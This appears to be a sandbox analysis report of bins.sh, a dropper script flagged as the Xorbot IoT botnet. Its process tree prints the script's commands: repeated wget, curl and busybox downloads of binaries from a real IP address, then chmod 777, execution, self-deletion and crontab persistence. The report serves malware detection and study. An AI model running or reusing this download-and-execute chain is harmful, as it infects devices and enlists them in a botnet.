Analysis

  • max time kernel
    123s
  • max time network
    145s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    11/12/2024, 17:56

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    438006bbfd462be4fd9c865af07b79f1

  • SHA1

    307c1b4a303f9a17faf6b009da89b55662ecb347

  • SHA256

    b4c55c1a69e129f0f04fb3058c1a2daa74525d58008ffe57827f316b18a0b872

  • SHA512

    c07722eee12c0fc776b1eef21671926015149f76499bfeb36bc9eacef98ee7d273cae91eaab25f3f37b6ce1af69e4faff5ba20fd5955d2b8ce6ec37576276cee

  • SSDEEP

    192:4lJYhJCDYwYSd6CNCGtujXD+M91Q19zKK9VcBKYYwF6CNCGtn91Q19zP9Vc65XDM:YYwYSIjXDKmK9VcBZYwUj9VcYXDM

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (960) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:687
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:691
        • /usr/bin/wget
          wget http://37.44.238.68/bins/cyurYlckJHVXIBk4wd3HOqTrOutEEc1omY
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:693
        • /usr/bin/curl
          curl -O http://37.44.238.68/bins/cyurYlckJHVXIBk4wd3HOqTrOutEEc1omY
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:711
        • /bin/busybox
          /bin/busybox wget http://37.44.238.68/bins/cyurYlckJHVXIBk4wd3HOqTrOutEEc1omY
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:718
        • /bin/chmod
          chmod 777 cyurYlckJHVXIBk4wd3HOqTrOutEEc1omY
          2⤵
          • File and Directory Permissions Modification
          PID:719
        • /tmp/cyurYlckJHVXIBk4wd3HOqTrOutEEc1omY
          ./cyurYlckJHVXIBk4wd3HOqTrOutEEc1omY
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:720
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:722
              • /usr/bin/crontab
                crontab -l
                4⤵
                • Reads runtime system information
                PID:723
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:724
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:725
            • /bin/rm
              rm cyurYlckJHVXIBk4wd3HOqTrOutEEc1omY
              2⤵
              • System Network Configuration Discovery
              PID:727
            • /usr/bin/wget
              wget http://37.44.238.68/bins/wG2Ruvrk9apTnrlmtFXdvpeXB9cD3S3XxA
              2⤵
                PID:730
              • /usr/bin/curl
                curl -O http://37.44.238.68/bins/wG2Ruvrk9apTnrlmtFXdvpeXB9cD3S3XxA
                2⤵
                  PID:731
                • /bin/busybox
                  /bin/busybox wget http://37.44.238.68/bins/wG2Ruvrk9apTnrlmtFXdvpeXB9cD3S3XxA
                  2⤵
                  • Writes file to tmp directory
                  PID:812
                • /bin/chmod
                  chmod 777 wG2Ruvrk9apTnrlmtFXdvpeXB9cD3S3XxA
                  2⤵
                  • File and Directory Permissions Modification
                  PID:817
                • /tmp/wG2Ruvrk9apTnrlmtFXdvpeXB9cD3S3XxA
                  ./wG2Ruvrk9apTnrlmtFXdvpeXB9cD3S3XxA
                  2⤵
                  • Executes dropped EXE
                  PID:818
                • /bin/rm
                  rm wG2Ruvrk9apTnrlmtFXdvpeXB9cD3S3XxA
                  2⤵
                    PID:820
                  • /usr/bin/wget
                    wget http://37.44.238.68/bins/7lkwcsy842Cgha8YzskqLp6UJ1abFMzYZx
                    2⤵
                      PID:821
                    • /usr/bin/curl
                      curl -O http://37.44.238.68/bins/7lkwcsy842Cgha8YzskqLp6UJ1abFMzYZx
                      2⤵
                        PID:826
                      • /bin/busybox
                        /bin/busybox wget http://37.44.238.68/bins/7lkwcsy842Cgha8YzskqLp6UJ1abFMzYZx
                        2⤵
                        • Writes file to tmp directory
                        PID:827
                      • /bin/chmod
                        chmod 777 7lkwcsy842Cgha8YzskqLp6UJ1abFMzYZx
                        2⤵
                        • File and Directory Permissions Modification
                        PID:828
                      • /tmp/7lkwcsy842Cgha8YzskqLp6UJ1abFMzYZx
                        ./7lkwcsy842Cgha8YzskqLp6UJ1abFMzYZx
                        2⤵
                        • Executes dropped EXE
                        PID:829
                      • /bin/rm
                        rm 7lkwcsy842Cgha8YzskqLp6UJ1abFMzYZx
                        2⤵
                          PID:831
                        • /usr/bin/wget
                          wget http://37.44.238.68/bins/Gmi70zRsd8dPQm8XPtb1CSryqvFFdI5jNa
                          2⤵
                            PID:832
                          • /usr/bin/curl
                            curl -O http://37.44.238.68/bins/Gmi70zRsd8dPQm8XPtb1CSryqvFFdI5jNa
                            2⤵
                              PID:833
                            • /bin/busybox
                              /bin/busybox wget http://37.44.238.68/bins/Gmi70zRsd8dPQm8XPtb1CSryqvFFdI5jNa
                              2⤵
                              • Writes file to tmp directory
                              PID:834
                            • /bin/chmod
                              chmod 777 Gmi70zRsd8dPQm8XPtb1CSryqvFFdI5jNa
                              2⤵
                              • File and Directory Permissions Modification
                              PID:1094
                            • /tmp/Gmi70zRsd8dPQm8XPtb1CSryqvFFdI5jNa
                              ./Gmi70zRsd8dPQm8XPtb1CSryqvFFdI5jNa
                              2⤵
                              • Executes dropped EXE
                              PID:1095
                            • /bin/rm
                              rm Gmi70zRsd8dPQm8XPtb1CSryqvFFdI5jNa
                              2⤵
                                PID:1097
                              • /usr/bin/wget
                                wget http://37.44.238.68/bins/LlpYdlSHjNEYdm5dNkPyCVz65l59qMdLcD
                                2⤵
                                  PID:1098
                                • /usr/bin/curl
                                  curl -O http://37.44.238.68/bins/LlpYdlSHjNEYdm5dNkPyCVz65l59qMdLcD
                                  2⤵
                                    PID:1099
                                  • /bin/busybox
                                    /bin/busybox wget http://37.44.238.68/bins/LlpYdlSHjNEYdm5dNkPyCVz65l59qMdLcD
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1100
                                  • /bin/chmod
                                    chmod 777 LlpYdlSHjNEYdm5dNkPyCVz65l59qMdLcD
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1101
                                  • /tmp/LlpYdlSHjNEYdm5dNkPyCVz65l59qMdLcD
                                    ./LlpYdlSHjNEYdm5dNkPyCVz65l59qMdLcD
                                    2⤵
                                    • Executes dropped EXE
                                    PID:1102
                                  • /bin/rm
                                    rm LlpYdlSHjNEYdm5dNkPyCVz65l59qMdLcD
                                    2⤵
                                      PID:1104
                                    • /usr/bin/wget
                                      wget http://37.44.238.68/bins/rAO0Quyi25K2DyYn36dfoBaWmgiH5JKNvZ
                                      2⤵
                                        PID:1105
                                      • /usr/bin/curl
                                        curl -O http://37.44.238.68/bins/rAO0Quyi25K2DyYn36dfoBaWmgiH5JKNvZ
                                        2⤵
                                          PID:1106
                                        • /bin/busybox
                                          /bin/busybox wget http://37.44.238.68/bins/rAO0Quyi25K2DyYn36dfoBaWmgiH5JKNvZ
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:1107
                                        • /bin/chmod
                                          chmod 777 rAO0Quyi25K2DyYn36dfoBaWmgiH5JKNvZ
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:1108
                                        • /tmp/rAO0Quyi25K2DyYn36dfoBaWmgiH5JKNvZ
                                          ./rAO0Quyi25K2DyYn36dfoBaWmgiH5JKNvZ
                                          2⤵
                                          • Executes dropped EXE
                                          PID:1109
                                        • /bin/rm
                                          rm rAO0Quyi25K2DyYn36dfoBaWmgiH5JKNvZ
                                          2⤵
                                            PID:1111
                                          • /usr/bin/wget
                                            wget http://37.44.238.68/bins/QuNHjnFSsXVfwzAgPc8YQra7OJCohL3Vds
                                            2⤵
                                              PID:1112
                                            • /usr/bin/curl
                                              curl -O http://37.44.238.68/bins/QuNHjnFSsXVfwzAgPc8YQra7OJCohL3Vds
                                              2⤵
                                                PID:1113
                                              • /bin/busybox
                                                /bin/busybox wget http://37.44.238.68/bins/QuNHjnFSsXVfwzAgPc8YQra7OJCohL3Vds
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:1118
                                              • /bin/chmod
                                                chmod 777 QuNHjnFSsXVfwzAgPc8YQra7OJCohL3Vds
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:1123
                                              • /tmp/QuNHjnFSsXVfwzAgPc8YQra7OJCohL3Vds
                                                ./QuNHjnFSsXVfwzAgPc8YQra7OJCohL3Vds
                                                2⤵
                                                • Executes dropped EXE
                                                PID:1124
                                              • /bin/rm
                                                rm QuNHjnFSsXVfwzAgPc8YQra7OJCohL3Vds
                                                2⤵
                                                  PID:1126
                                                • /usr/bin/wget
                                                  wget http://37.44.238.68/bins/weMN1BxpPnJ9vD6agf2KlQyCepkaTNS5cI
                                                  2⤵
                                                    PID:1127

                                                Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                • /tmp/7lkwcsy842Cgha8YzskqLp6UJ1abFMzYZx

                                                  Filesize

                                                  122KB

                                                  MD5

                                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                                  SHA1

                                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                  SHA256

                                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                  SHA512

                                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                • /tmp/Gmi70zRsd8dPQm8XPtb1CSryqvFFdI5jNa

                                                  Filesize

                                                  117KB

                                                  MD5

                                                  849fa04ef88a8e8de32cb2e8538de5fe

                                                  SHA1

                                                  c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                  SHA256

                                                  8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                  SHA512

                                                  2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                • /tmp/LlpYdlSHjNEYdm5dNkPyCVz65l59qMdLcD

                                                  Filesize

                                                  177KB

                                                  MD5

                                                  786d75a158fe731feca3880f436082c0

                                                  SHA1

                                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                  SHA256

                                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                  SHA512

                                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                • /tmp/QuNHjnFSsXVfwzAgPc8YQra7OJCohL3Vds

                                                  Filesize

                                                  112KB

                                                  MD5

                                                  05d7857dcead18bbd86d2935f591873c

                                                  SHA1

                                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                  SHA256

                                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                  SHA512

                                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                • /tmp/cyurYlckJHVXIBk4wd3HOqTrOutEEc1omY

                                                  Filesize

                                                  151KB

                                                  MD5

                                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                                  SHA1

                                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                  SHA256

                                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                  SHA512

                                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                • /tmp/rAO0Quyi25K2DyYn36dfoBaWmgiH5JKNvZ

                                                  Filesize

                                                  151KB

                                                  MD5

                                                  6c583043d91c55aa470c08c87058e917

                                                  SHA1

                                                  abf65a5b9bba69980278ad09356e53de8bb89439

                                                  SHA256

                                                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                  SHA512

                                                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                • /tmp/wG2Ruvrk9apTnrlmtFXdvpeXB9cD3S3XxA

                                                  Filesize

                                                  111KB

                                                  MD5

                                                  ca897a38f23ec23521ce0b1b83f8422d

                                                  SHA1

                                                  b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                  SHA256

                                                  043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                  SHA512

                                                  10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                • /var/spool/cron/crontabs/tmp.xW22Iq

                                                  Filesize

                                                  210B

                                                  MD5

                                                  691426151841afa8c250a2455403ead7

                                                  SHA1

                                                  69a853b8ddb1c823e7ebb1c89516707642fd9a43

                                                  SHA256

                                                  4eb94f98ba5996aed42c98ea2c026d811554d738996a3e1361cc8d15ac18461d

                                                  SHA512

                                                  b25fceaf45e9452993a6e9e0d69cef391ad706ae346e927a8d2e8294bbe4bc570b1834850100de11461a84203a37c6e4b36c496b467ea4db9557410e7c144ec4